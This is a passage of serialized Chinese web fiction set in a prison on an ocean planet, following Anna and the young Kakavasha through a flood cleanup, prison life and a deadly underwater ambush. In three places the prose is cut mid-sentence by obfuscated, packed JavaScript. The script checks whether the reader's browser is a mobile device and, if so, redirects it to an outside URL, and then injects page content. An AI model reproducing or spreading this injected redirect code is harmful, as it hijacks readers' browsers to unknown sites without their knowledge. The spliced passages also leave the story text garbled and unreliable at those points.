“不会游泳?”她把年轻人塞来的不规则石头重新塞回去,“找机会学学。还有,别给我,我运气不好,存不住。” 那是块浅青色不规则石块,有一定透明度但又不是那么透明。介于蓝色和绿色之间的颜色让它难以迈入“宝石”的门槛,可要说是块摔破的鹅卵石吧……似乎又有些可惜。 “我也存不住。”卡卡瓦夏瞄瞄自己的胳膊腿儿,又瞄瞄安娜。 明明都是人类,样子也都是瘦巴巴的,为什么差别这么大! “砂金石?不,不对,我分不太出来。”安娜摇头:“不过应该不是很值钱的石头,不用担心。” 这块石头没有足以引人觊觎的价值,卡卡瓦夏就算是把它摆在枕头上也没关系,只要他自己不觉得硌就行。 在沙漠里长大的年轻人张开嘴想要继续解释,女人突然锐利目光让他意识到此刻自己最该做的是闭嘴。 一块稍微有点漂亮的普通石头没人稀罕,但能让人在水下呼吸的石头另当别论。别说它看着有点漂亮,就算是坨屎也能在伊维尔的犯人群里掀起轩然大波。 随着积水逐渐排空,升降机重新开放,蜘蛛工程机器人和人类狱卒有序进入重灾区检查损失。显而易见典狱长默认这条走廊里没有犯人能幸运存活,狱卒们全副武装唯独没带急救设备。他们从囚室里拖出一个又一个犯人,直接当做尸体看待——也许有人只是昏迷,但他们懒得逐一核查。 机械负责搬开断壁残垣将“尸体”拖走。运气好的人在拖拽过程中清醒过来大力挣扎拼命呼救,狱卒只能垂头丧气骂骂咧咧的花费力气把他们解下来。更多人不论死活全部扔在一处,只等清理结束就要一并丢进通向太平间的管道。 “喝!”搜到走廊中段位置,完全被炸毁的404囚室正对面“藏”着两个犯人。他们听话的留在原地不动,倒把沉迷工作的狱卒吓了一跳,“你们站在这儿干嘛呢!” 任谁被吓到后语气都不会太好,安娜好声好气对这人道:“典狱长不是要我们原地待命么?” “……神经病啊!”狱卒小声骂了一句,碍于这两人严格按照典狱长命令行事也不好多说,“没事儿就不知道帮把手吗!” “算工资吗?”安娜半步不让。 工资给够什么都好说,没有工资还想让人打白工?不好意思,我不认识你。 “干满一上午就算你们两个做了整天清洁工,多了不行。”凌晨时分碳基陆生种监禁区遭遇水生种越狱者入侵,狱卒伤亡惨重,就算临时从其他区域调用人手也不够,非常时刻原则和规矩可以变得很灵活。 有工资拿,还能抵扣掉每周必做一天的清洁工,安娜欣然接受:“成交!” 她朝卡卡瓦夏甩甩头:“愣着干嘛?还不赶紧谢谢人家,身份牌拿出来!” 重点是最后一句,第一时间拿出身份牌将工时砸瓷了才是要紧,不然万一这个狱卒转头不认账了去哪儿讲道理? 年轻人手忙脚乱摸出身份牌给狱卒划了一下,安娜这才慢吞吞把同样的东西递过去:“兄弟,到底什么情况?一大早还没睡醒呢,好家伙直接给我房子开了瓢。” 犯人的态度很好,笑脸迎人且健谈得恰到好处。狱卒也是人,自然愿意与她交流。 “别提了,四个水生种从监禁区逃出来,我猜他们大概是想从陆生种这边逃进海里。呵呵,”他冷笑了两声,脸上尽是讥讽,“世上哪有那么简单的事。” 说完他看向安娜:“一个忠告,姐们儿,进了伊维尔就别想着再出去。” “哦?”女人气息如故,挑眉笑问:“怎么说?不是有人刑期结束重获自由了么。” 狱卒只是哼哼没有解释,指着堆在一处的“尸体”以及剩下那半边水渍走廊催促:“别磨蹭,赶紧干活!” 他不会告诉尚在服刑的犯人伊维尔根本没有“释放”一说,所谓“刑满”无非从水面下的牢笼转移到海岛上继续坐牢,整个星球就是座无懈可击的牢笼,没有人能逃出去。 “好好好,你说了算。”安娜不再和他纠缠,摆头领着卡卡瓦夏走到走廊另一侧尽头,混在诸多机械中扒拉“尸体”。 她可没有什么忌讳,只要看到有犯人被拖出来上前就是连串几个巴掌,能打醒的从机械臂上拽下来扔到一旁让他们自己喘气,打不醒的估计也就不会再醒过来了。卡卡瓦夏跟在她身后有样学样,这小子运气好到爆表每次都能精准打到暂时闭过气去的人,三两下就攒了一堆人情。 反观安娜这边,遇到的犯人不是费尽力气才能打醒就是无论怎么打也打不醒。 临时有两个犯人加入救援,狱卒们的工作轻松了许多。做主给算工时的那人指挥机械将真正的尸体一一拖走,从耳麦里得到指令后又调了一小队机械狱卒带领还活着的犯人去临时腾出来的囚室安顿。 系统已经调查清楚,那四个企图越狱的犯人中有一个进入伊维尔时保留了备用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050708|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生物光脑,之后更是借助这东西联系上了监狱外的星际骇客。为了避免类似事件再次发生,典狱长下令所有犯人都要重新做一次全身影像透视。 费用记在犯人自己头上。 原本他考虑过要不要把被炸毁的囚室成本也平均摊派给每个在押人员,但是最近这段日子出的意外有点多,如果继续加码很可能激化矛盾造成更多意外。眼看庇尔波因特的新年就快要到了,意外太多很可能惹得董事会不喜。百般权衡下他选择将此事暂且压下,八层四号走廊封存等待将来拆款重建。 至于那些获救的犯人么……记他们救援费!医疗费!食宿费! 将来凭空多出的债务现在的安娜不会知道,她跟着机械狱卒走进升降机,老老实实被押送到十一层七号走廊。 “08241321号,174囚室。” 伊维尔监狱所在的死火山由上至下计数,入口就是一层,越向下犯人的暴力指数就越高。一般来说经济犯诈骗犯之类攻击性不强的犯人会被安排在数字较小的层数,星盗杀人狂等依照犯案情节恶劣程度逐渐向火山深处掘进。 紧接着卡卡瓦夏也有了新囚室,不像之前住在安娜对面,这次他被分在她隔壁。重新分拨过囚室后狱卒告知幸运的犯人们可以去食堂自助机上购买食物,剩下的半天时间也不计时了,完全留给他们放风,算是对幸存者的一种补偿。 劫后余生的犯人三三两两离开走廊——哪怕不吃饭也得去医疗站,溺水又复苏后如果处置不当是有可能引发肺部感染的!眼下不是计较欠债的时候,保命要紧。 监狱每一层的食堂都在同一个位置上,安娜的新房间靠近走廊末端,出门右转走不到十分钟就抵达目的地。从对门改住隔壁的年轻人亦步亦趋跟在她身后,眼睛很尖的第一时间就找到了自助购物机。 低级营养膏,每管三百伊维尔币。低级自然餐,三千伊维尔币。中级自然餐,五千伊维尔币。普通甜味软饮,五百伊维尔币。均码囚服,两千伊维尔币…… 卡卡瓦夏,转身告辞。 “去哪儿?你不吃东西了?”安娜视线尚未离开自助购物机的使用说明,右手伸出去刚刚好抓到小朋友的衣服,“庆祝你幸运的又活了一天,来个奶油蛋糕。” “活的呢,好棒棒。”她干巴巴的棒读,全是技巧没有感情。 年轻人欲言又止止言又欲,憋了好半天也只憋出个“谢谢”。 对于埃维金人来说,能活着长大确实事件值得庆祝的事。 买一小牙奶油蛋糕要花六百伊维尔币,省着点嚼大概两三口的量。安娜眼都不眨的一口气买了四块,又额外买了两套均码囚服。她从出口处取出商品直接分成两份,将其中一份递给卡卡瓦夏。 “给,给我的?” 说来也是好笑,他这辈子第一次得到的新衣服居然是囚服……也是够地狱了。 安娜翻白眼差点翻得只剩白眼:“要不然呢?拿着!” “哦!”他没有再道谢,接过食物和衣服就去找了个位置,坐下前不忘先替安娜擦擦,“姐姐坐!” 啧,这小子的嘴。没在他身上花钱的时候“你你你你”,花了钱马上变成“姐姐姐姐”,还真是变化多端。 12. 第 12 章 安安稳稳坐在食堂的金属圆凳上,卡卡瓦夏虔诚打开一块奶油蛋糕轻轻咬下一口,疑似虹膜异色症的多彩眼睛立刻眯成两道弧线。 糖的甜味与脂肪的柔软口感,永远能带给人类最佳的安抚。 安娜自己也拆了块蛋糕,送进嘴里三下五除二吃掉。捡了一上午尸体狱卒算她做满八小时清洁工,共计四千伊维尔币已经到账。与其等着被扣掉去交那些莫名其妙的欠债,还不如一口气全花光。 一小牙奶油蛋糕再怎么小口抿前前后后也就四五口就没了,吃完后她把包装纸揉成一团用手指弹着玩:“说说呗,昨天晚上你为什么挨揍?” 白白多了个挂件,总得弄清楚事情的来龙去脉吧,她又不是冤大头。 卡卡瓦夏端着包装纸一点一点啃残留在上面的甜奶油,丝毫没有注意到脸颊已经蹭成花猫:“昨天申请做手工的人太多,狱卒临时决定用抽签的方式安排名额,我抽到了……” 当时沃尔夫冈就站在后面,不管什么原因总之最后他不得不去矿坑挖矿。晚间用餐时有人议论矿坑气体泄漏部分犯人没能回来,年轻人拿着膏体走来走去想打听些消息结果刚好撞上惊魂未定的壮汉。 ——后面发生的事大家都知道了。 “姐姐,很多犯人都在议论你,你要小心!”卡卡瓦夏用包装纸挡住自己,压低声音对安娜道:“进入伊维尔时咱们手腕上都多了个红色羊头章,有这个章就会成为其他犯人的重点攻击目标。” 这也是为什么他一看到安娜能打跑沃尔夫冈就果断抱上大腿的原因,要一个身娇体软的埃维金人在这种环境中保住小命……不借助点外力委实不太可能。 安娜若有所思的翻开手腕上下摩挲那个完全没有褪色迹象的刻印。 她确定原身并非人形异兽,也没有残存的暴力变态念头,这样一个可以用“普通”去形容的女子,为什么会被标记为高危人物? 一开始狱卒是要选用其他颜色的,接了个指令后才临时改变主意。所以,原身是惹了不能招惹的人被报复么…… “也就是说击杀手腕内侧有红色羊头的犯人,有奖励可拿?” 安娜绝不放过任何能薅羊毛的机会,仅从这几天的观察就能得出星际和平公司家大业大这个结论,小小薅些羊毛吃不垮偌大的组织。 反正她一不是公司员工,二不是公司董事,对于挡在手脚前的庞然大物自是没有好念头。其实就算是公司的员工也不会在意这些啦,只要能按时足额领到工资,管他娘个屁的! 卡卡瓦夏的原意是提醒她注意自身安全,没想到大姐姐抓重点时和他根本就不在一个频道上。 “……”尚且单纯稚嫩的年轻人睁着他那双多彩的漂亮眼睛,找不到合适的语言表达此刻情绪。 “怪不得监狱守则并不禁止犯人互殴,”安娜摸摸下巴,这个动作显得她格外不怀好意:“下海杀鱼还是来钱太慢呐!” “……需要我去打听消息吗?”犹豫了三秒,世代都是骡马跪族的卡卡瓦夏整个人焕发出别样生机——连换赛道都能换的这么快,埃维金人肯定是把做生意的好手。 “用不着,”安娜看看他单薄的小身板,直接选择放弃,“用不着拿你当鱼饵,这世上学不会正确认识自己的人比比皆是,总有蠢鱼乐于主动送上门。” 小朋友悄悄鼓了鼓腮帮子,他好像意识到这种幼稚行为不应该出现在成年男人身上,于是马上又把腮帮子里的气儿放瘪。 “哦,好吧……” 游手好闲在十一层食堂坐了一下午,晚间就听到广播通知所有犯人按照所在楼层和囚室的数字排队前往医疗站做检查。 检查前自行处理掉违禁品可以视作表现积极,要是被检查出来多了什么奇怪的东西……那可就不能怪典狱长不留情面了。 至于说为什么要把检查安排在夜间进行呢?主要原因在于白天犯人们要去干活。最近这段日子伊维尔发生的意外已经足够多了,万万不能在利润报表上再出纰漏。 这事儿之于犯人只是个通知,他们愿不愿意并不重要。横竖在典狱长的地盘上讨生活,万事只要典狱长做出指示其他人照做就行了,连脑子都不必动——最好别动。 抱怨自然是有的,但是不管犯人们如何抱怨最终都得乖乖在狱卒枪口下排队走进透视仪,这种起不到任何作用的稀碎声音很快就随风而逝。 安娜回到新囚室踏踏实实睡了一夜,第二天早上起来就听说昨晚有人企图蒙混过关失败,这会儿尸体还挂在医疗站外面示众,以及今天后半夜能轮到十一层去做检查。 “医疗站的火力有点猛呐!”安娜陷入沉思。 “听说那里好像有【丰饶】的命途行者……” 卡卡瓦夏紧张得要命。他手里那块神奇宝石藏这里不行藏那里不好,想来想去还是不能把它留在死火山内——犯人们在医疗站排队的同时狱卒在干嘛? 反正肯定不会就着温酒吃茴香豆。 于是一大早他就跟着安娜,齐齐站在下海的队伍里。 伊维尔的海洋面积超过百分之九十,一颗宝石藏在礁石里比藏在囚室里要安全多了。而且哪怕它真的遗失在大海中也比被狱卒搜走要好,石头的旧主人不就是为了这个才对海中巨兽发起自爆式攻击么。 十一层的囚犯单看面相就比八层的幸存者要凶悍,在他们眼里一个女人和一个半大不小的男孩,那不就是盘随随便便夹起来美美吃掉的菜吗? 别管什么红章不红章,蹲在十一层服刑的兄弟们哪个没有?刚巧这两人不知死活的要往海里去,千载难逢的机会近在眼前,无数心思和眼神隔空乱飞。 负责登记的狱卒惊讶不已,今天下海去捞鱼的犯人怎么这么多?不会是又有人打算越狱吧!但是他没有理由拒绝犯人努力为伊维尔创造财富,最终只要身份能通过核验犯人们全部得到了放行许可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050709|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你提好袋子跟着我,看到不对劲就按照直觉找个好位置藏起来。” 长棍在手,安娜检查过分量和电量就带着卡卡瓦夏站在升降台旁等待。 多的那个袋子其实是件旧囚服,领口袖口折回去扭个疙瘩就是只质地粗糙的口袋,装宝石还是装小鱼都很方便。 埃维金人手里有了武器,眼底立刻生出无限戾气——敲死那些剥皮刀! 他激动的时不时摸它两下,就好像那是把黄金打造的权杖。 临出发前安娜从自助购物机上买了点东西揣在兜里,和众人一起被送上海面。 “好冷!” 年轻人乍一遇到冷空气忍不住缩了下脖子。今天十一层下海狩猎采集的人太多了,出门就比平日晚了几分钟。此时海边平坦的位置早已全都被人占据,新来的只能站在海风与众人眼前往身上套防水服。 卡卡瓦夏朝一块陷在沙坑里的巨石走去,石头表面斑斑驳驳尽是黏在上面的小生物。选它完全因为这石头瞧着实在是太脏了别人看不上,等走到近前一看安娜惊喜的发现巨石内有乾坤——漫长的时间线上它被风蚀得只剩下一个空壳,隐秘的另一侧就像道小门,其中仅能容纳一人却相当于三面有墙。 “姐姐你先去换衣服,我在这儿给你守着!”他握紧手里的长棍,那模样在安娜看来更像小猫扑蝴蝶。 可爱是可爱,但没有用。 她没有对他展开任何说教,那个人,那个年轻人,刚成年没多久就犯下重罪被送进伊维尔终身服刑。不论他的过去是何种模样都不需要听一个陌生人絮絮叨叨,他必然已经有了一整套逻辑自洽的处事原则,愿意对她低头也只是为了求得庇护而已。 简而言之,人是来找饭搭子的,不是想找个妈。 打开装备包直接把连体衣套在身上,安娜满脸邪恶扫了眼愣在原地的卡卡瓦夏:“再发会儿呆好位置就被别人抢走了!” 曾经在沙海里各种极限求生的年轻人瞬间清醒,抿紧嘴唇十秒内解决服装问题。 鉴于他目前还是个旱鸭子,为了照顾新手安娜带着他在沙滩上充分活动开手脚才拿着长棍慢慢靠近深水区。 就算穿戴了专门装备,让一个纯新人一下子潜入深海浪里淘金也只是种可望不可及的奢想。他只要能保护好自己不拖后腿就万事大吉,狩猎这事儿还是交给搭档效率更高。 折腾这么久海边早就只剩下督战队的几个人,蹲在透明暖房里和磨磨蹭蹭的犯人大眼瞪小眼。 “这两个家伙怎么还不下去?” 才过去几天奥斯汀当然还记得那个脾气古怪的女囚犯,见她身边突然多出个年轻男子他马上就想到一些大家喜闻乐见的粉红色情节,“哼,还真是悠闲!” 伊维尔星上当然存在孩童,一部分是未成年的犯人,另一部分么……别问,问就是自由和民主。 他\她\它们都是自愿的。 13.第 13 章 海洋是什么? 对于一个自幼在沙漠中艰难求生的年轻人来说,这是个无法回答的问题。他长到这么大见过的最大的水面不过族人倒下时溢出的血泊,族中倘若有哪个孩子恰逢落雨的紧要关头降生那也是一定要被抱出去好好炫耀一番的——必然是三重眼的地母神亲吻过婴儿的额头,他才能如此幸运。 大海是很多水聚在一起,咸的,这就是卡卡瓦夏来到伊维尔之前对“海”的全部认知。 他没上过学,不认识字,离开茨冈尼亚-Ⅳ前曾天真的认为那日日不休的风暴正是地母神的气息。多么威严的气息呐!直到后来同行的其他奴隶告诉他那只是数颗恒星星风互相作用下的产物,蒙在少年双眼前的屏障应声破碎殆尽。 今日方知埃维金人早已被神明抛弃。 如果我们生来就该忍耐这样的痛苦,那么埃维金到底造下过何种深重的罪孽,才会为了接受惩罚而出生? 冰冷的海水没过脚踝、小腿、膝盖、腰间,背后被人堪称温柔的轻轻推了一下,冒着白烟的黑色海洋瞬间变成一片色彩斑斓的世界。手持型强力光源支援得及时,黄绿色的带状海藻仿佛神明垂下的帷幔,需要人自行推开。 安娜不打算把菜鸟带进深水区淹死,再说这十一层的犯人个个目露凶光,用脚指头想也能想得到他们打算趁机做点什么。至于所谓的贷款和欠债……管他呢,只要能达到典狱长的最低容忍限度就行了。债务肯定是还不完的,能还完这里就是疗养院而非监狱,所以还努力个屁? 够吃够住一分不留,躺!平! 没有通讯设备人类无法在水下以语言直接交流,她索性撕了条长长的海藻拴在年轻人手腕上,另一头留给自己。卡卡瓦夏原本是有些慌张的,一看到不会被丢下马上就变得信心满满。别的他不敢说,运气么,那还真不缺。 小朋友贴在浅海的海床上大力骚扰欺负各种水生小动物,他手上好像自带鱼饵,鱼虾贝蟹仿佛商量好了似的排队出现在眼前。安娜看了他一会儿,等新手赶海赶得忘记紧张后她提紧长棍将注意力投向四周。 她也得狩猎,不过狩的不是鱼。 碳基生物,脊索动物,哺乳类,陆生,能够直立行走,主要技能点加在智慧属性上。这种生物经常会出现加错了点的个体,杀起来并不难。此刻他们正悄悄跟在后面互相打手势,充当诱饵的家伙或可怜兮兮或热情洋溢,绕过好大一圈去和第一天潜水的新手交朋友。 卡卡瓦夏刚把一只比手掌还要大上两倍的刺豚赶进口袋,这家伙大概是睡迷糊了,温顺的如了年轻人的意,浑身上下淬毒的骨刺一根也没竖起来。他看到不远处有条软绵绵黑乎乎的东西缓缓移动,刚伸出手旁边游来一个好心的姑娘。 她拍开他裹在设备里的手,比比划划的意思不能更明显。 ——当心!这东西不能吃! 伊芙琳回忆了一下目标黑羊的模样,不得不感叹同样都是重刑犯有的人生了张看上去就像是被冤枉的脸,有的人长得不死个十次八次恐怕难以平息民愤。 不过伊维尔比他更好看的人多了去了,甚至不仅限于人类,伊芙琳简单遗憾了一下就把这事儿扔到脑后。 漂亮男孩的死活哪能比自己的生活水准更重要?给男人花钱纯属自找倒霉,胡乱心疼男人一辈子翻不了身! 比起他身后跟着的女人,猎羊小队一致投票同意先把这小子干掉。无他,软柿子好捏而已。谁叫他看上去好欺负?欺负的就是他!带崽母兽尚且会为了突围求生放弃幼崽,这两人并非母子关系看着也不像情人,那个女人不会为了搭档就把自己的命留在海里。 一个埃维金人而已,不值当什么人,就连做奴隶都卖不上价。 卡卡瓦夏受了她的好意,果然不再去抓那只硕大的海茄子。 海茄子当然没毒,不好吃不代表它不能吃。但伊芙琳需要一个理由靠近目标,黑锅就只能交给不能跳起来反驳的家伙背好。 这一路上她期待了很久,咬人的海鳗,有毒的石头鱼,带刺的鳐鱼,甚至连色彩绚丽的海蛞蝓也没遇到!这都是什么破运气! 算了算了,等会儿弄死这小子后回头把海茄子捡走吧,这么大个儿真的很少见。 出身沙漠部族,被人辗转售卖的年轻人很简单的就被她骗过去了。他还以为这又是个好心人,就像只龙虾似的凭着直觉跟在她身后亦步亦趋。 安娜默默掐断那节海藻,打架的时候身上累赘太多会影响发挥。眼看对手派来的鱼饵好悬没被搭档钓成翘嘴,她把长棍的放电值拉到最大,忽然潜入海底捡了朵蓝色皱褶海葵反手一贴。 太过激动以至于贴得太近的先锋被人糊了一脸海葵,虽然没有造成有效伤害但他同时失去了视野。 刺细胞伸出的细丝结结实实贴在质地薄脆的连体衣上,海葵肥厚的身体把潜水镜遮得严严实实。 住在海葵里的小丑鱼惊慌失措,夫妻两个围着用脸拆掉它们家园的恶棍口诛笔伐。这个品种和人们认为的无害小鱼颇有差别,尖利的牙齿很快就将这个人的过滤膜潜水服撕出一道口子。 他这边正和小丑鱼殊死搏斗,冷不丁一根长棍横过来戳在潜水服破口处。 浑身一麻,他意识到自己的人生大抵是要重开了。 安娜与其他好心来帮她减轻负担的狱友打得火热。水里阻力大,斗勇不如斗智,眼见对手里最傻的那个露出破绽,她立刻抓住这只鸡脚送对方去随波逐流。 长棍储电有限,每次都要等到关键时刻一击毙命才好。 两边打了个照面,己方猛猛冲的大将一个照面就被扔到旁边冷处理,其他人更是让人拦住了直取软柿子的去路。 被电晕过去的人体失去控制随水飘荡,看上去就和死了差不多,无论真假视觉上很有威慑力。 那个女人!那个女人她不讲武德! 沙子,海带,破损的贝壳,慵懒的海胆海葵以及刺豚……一切能被摸到的东西全都变成了武器,她就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053778|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条溜滑的鱼,每过一招立刻遁走绝不在原地停留。 这种近乎无赖的打法硬是凭借一己之力将整个猎羊小队分割成两部分,如今大家只希望伊芙琳那边能快些得手。 有人被不明生物的刺扎了一下,有人潜水服破损,再不拿点真本事出来今天这笔买卖多少得亏。 从海面上看,这处相对清浅的海湾下似乎有几头不大不小的海兽在争夺地盘。时不时冒出个水花和气泡,一条又一条两脚鱼陆陆续续翻肚上浮。 地盘之争,素来如此。虽说不至于一上来就到既分高下也决生死的地步,但是打着打着火气难免蹭蹭往上冒,下手自然也是一招比一招要命。 卡卡瓦夏和好心的少女携手捡了很多海货,全都是能兑换大把伊维尔币,好吃好看还好安全的小可爱。年轻人满怀欣喜的仔细辨认各路悬赏目标,仅他一个人就足以完成博识学会给的半部悬赏清单。 伊芙琳也是奇了,怎么有人的运气能好到这种地步?运气这么好的人为什么会出现在伊维尔?他就不该被抓到才对! 她从一开始的惊讶逐渐麻木,最后干脆主动带着卡卡瓦夏满海底搜寻——等会儿队友们一拥而上,连人带货一样都走不掉! 只当这是个人形仓库吧,还能帮着分担一半猎物重量。 然而说好的队友左等等不来,右等还是等不来,周围甚至听不到除了海洋动物意外任何外来者的声音。到这里伊芙琳难免从心中生出几分焦躁,她频频瞄向卡卡瓦夏被海水带得左右乱晃的身形,大有种我上我也能的念头。 凭什么不能呢?就体型而言我和他差不多,论力量男女之间天生的差异在海水阻隔下被无限缩小,这家伙一看游水的姿态就知道是个新手,没有庇护者在侧且翻不起大浪。 总而言之他除了运气好什么都不是,埃维金奴隶,身段柔软得很,全宇宙公认最适合他的地方只有娼馆。 她想了一会儿,终于拿定主意。 连体的潜水衣隔绝海水也隔绝电流,制式长棍能放出的电量有限,无法击穿这双层的buff。但是海底并不缺武器,赤手空拳的人类是盘菜,手里随便握着块石头就能立刻变身成为猎人。 伊芙琳佯做摸鱼,实则从海底细沙里摸出只蜘蛛螺握紧——这东西的甲壳上向外生有风车状的数条细长突起,像刺又不是刺。如果一击得手,当然无需赘叙,但是万一失手了呢? 只消年轻姑娘笑着比划一句“开玩笑的对不起”,同样年轻的男孩子十个里有九个半会昏头昏脑接上一句没关系。 说不定他还会在心底美滋滋窃喜。 她怎么不和别人开玩笑偏和我开玩笑呢?分明是我和别人不一样! 嗯,对,确实不太一样。 所以当那个年轻的埃维金人像是摔了一跤那样避开来自背后的攻击时,她根本来不及发起第二次进攻这场迂回了许久的平和争斗已然落下帷幕。 海底是个危险的地方,它对所有人类一视同仁。 14.第 14 章 卡卡瓦夏拖着战利品转头向后游了半个多小时,来找他的安娜同样提着条大鱼的尾巴出现在一从高大的珊瑚树后。 她用大拇指比了个向上的手势,带着年轻人缓缓浮向海面。 新手么,第一天尝试潜水,还是不要太为难他。至于他拽着的狱友尸体……那肯定是运气不好被有毒的海洋生物给暗算了! 两人来到安娜堆叠“战利品”的岛礁上,猎羊小队诸位成员喜相逢。 “呼……你都抓了些什么?”她抬头去看他手里的袋子,除了旧囚服改的那只还有明显来自狱卒友情发放的专业设备。 卡卡瓦夏不认识这些生物,安娜也许曾经认识,但是现在他们两个随便看谁都只剩下“好吃”这一个属性。 她不管三七二十一挑上肉最厚的鱼卡卡几下剥皮去骨,内脏以及不能吃的东西丢进海里打窝,剩下的一分为二准备祭五脏庙。 直到安安稳稳坐在岛礁上卡卡瓦夏才发现自己的手脚一直都在抖,差点拿不住飞来的午饭……与杀戮无关,只不过体力告罄而已。年轻人颇有些羞愧的瞄了眼继续加工午餐的女人,注意到她似乎没有这方面的困扰后整个人都暗淡了好几个色调。 “看什么看?我身体健康,你营养不良,起跑线不一样。”她把第二块鱼肉扔过去给他,“多吃,吃饱,你要对自己的性别和年龄有信心。” 卡卡瓦夏:“……” 谢谢,但是并不想成为那种讨厌的人。 小朋友安静下来抱着鱼肉又撕又啃,看着就是个很能活的样子。安娜放下心转而去整理他的战利品——她并不担心他会在交锋中输掉。一对多艰难,一对一这小子失败的概率真心不大。 他可不是扭扭捏捏涂脂抹粉夹着嗓子只会摇屁股的宠物,一时眼瘸误把小号斑斓猛虎当成金渐层的人注定要跌个大跟头。 在哪儿跌倒就在哪儿长眠不起。 “下次更谨慎些才好,你应该不是那种展示过有毒刀刃后还非要多事再舔一下的人吧?” 安娜挑眉揶揄,拽拽伊芙琳尸体上的“凶器”做演示。黑色白色交替间隔的利刺正正扎在年轻姑娘的咽喉处,一击毙命狠辣至极。她接连拽了几下,根本拽不动——卡卡瓦夏使用的工具锋利归锋利却生了些不合时宜的倒刺,稍不小心就有自尽的风险。 “呶!”她将尸体上的伤痕亮给他看,“星际和平公司发放的装备全都是一次性的,强度堪忧。” “嗯嗯!”卡卡瓦夏咬着鱼肉一边奋力咀嚼一边点头含混回应。 她扔了一管膏体一包甜味软饮过来,工业合成的食物谈不上美味不美味,但其中添加的维生素和糖类基本能满足身体需求。 年轻人吃得急切,时不时噎得直伸脖子。他已经错过最旺盛的生长期,不过还有机会,一旦发现不必忍饥挨饿进食的本能立刻占据上风。 “吃慢点,”安娜拍了他一下,这小子护食得厉害,抱着食物就像生怕被人从嘴里抢食似的,“你要活下去,至少得把自己演得像个人类。” 总不能真把他当成个人形宠物吧,年轻人吃东西的样子着实不大好看,作为饭搭子来说他有些不礼貌了。 卡卡瓦夏被人拍到,蜗牛似的肩头肌肉一紧。安娜捏住他单薄的骨头,手指在暗红色的商品编码上擦过。 那双顾盼间风流多情的彩色眼睛变得冰冷而锋利,只是一瞬,飞速慌慌张张被遮掩住。 埃维金人实在太会伪装自己了,他们深知如何才能搏得别人的喜爱与同情。颠沛流离的生活教会他们世上最真挚的演技,哪怕身处劣势也能拐上好几个弯让人觉得他们可怜又可爱。安娜也不知道他从开始到现在哪儿是真的哪儿是演的,此乃天赋型选手,拼尽全力也无法战胜的那种。 若论表演艺术她自忖就是十个自己捆在一起恐怕也不是卡卡瓦夏一合之敌,所以还是不要去分析路径了,让我们真诚的直接去看结果吧。 “慢慢吃,我不会抢小朋友嘴里的肉。”要说身手,安娜现在就能把这小子抡圆了扔回海里,他在她手上没有任何还手之力。 好在卡卡瓦夏真的非常幸运,他结识的大腿只弄丢了记忆,没弄丢道德和人性。 “下次再这样我就不分你补给品了,你自己想法子去。”她松开手换了个位置改为摸摸他头上的浅金色短发茬,几天过去已经长了一些但还是刺茸茸的有点扎。 年轻人凸起的肩胛骨就像被刺挠的猫屁股那样抖了又抖,他努力克制着强迫自己放慢咀嚼速度,也不再一下子把嘴塞满食物。 “乖小孩。”安娜满意的称赞了他一句,“谁都不希望身边跟着只长得像人的野兽,皮毛柔顺艳丽也不行。我也一样。” 人一旦失去对本能的控制就与无序的兽类无异,野兽总是很会闯祸进而带来许多不必要的麻烦,这样不好。在伊维尔这种地方,麻烦是最不受欢迎的“惊喜”。 管他真的假的呢,这个大前提必须谈妥,不然就散伙! “姐姐对不起,”卡卡瓦夏花了五分钟让自己从猿人进化到智人。安娜发现他很聪明,模仿得很快,出现问题全得归咎于那些提供范本的家伙。 “不用道歉,你又没做错什么。”她把手里充当刀具使用的黑曜石碎片递给他,“回头得给你找个能拿得出手的蓝本。” 碳基陆生种监禁区十一层显然不具备能够达到及格线的师资力量,她自己也只是勉强不粗俗而已,当不得孩子的老师。 卡卡瓦夏看着手里的小刀,恍然大悟。填饱肚子后他叼着那管膏体勤勤恳恳的在岛礁上找了个洞,石刀伸进去修修边,那颗漂亮的不规则石头就有了临时栖身之所。 岛礁比珊瑚稳定,也更容易定位寻找,如此一来既不必担心它被伊维尔监狱的狱卒搜走,也无需忧虑它迷失在茫茫洋面。 ——那条人鱼自爆前在想什么呢?他是不是也想回家? 剩下的时间他们没有再回到海里去,岛礁四周被血腥味吸引来的鱼太多了,长棍戳到鱼头上放电,一电一个准。 午饭后两人边坐在岛礁上电鱼边大概商量了一番接下来的对策。面前这支反被一网打尽的猎羊小队共计五人,监狱内有没有朋友亲人谁也不知道,杀死黑羊究竟能换到什么好处也不知道,为了将利益最大化还是先贿赂一把狱卒问问再做决定。 最重要的是明天说什么也不能再来海里摸鱼了,万一打了小的引来老的,水里终究不方便动手发挥。 “做手工还是去挖矿?”本周的清洁工工作已经被抵扣掉, 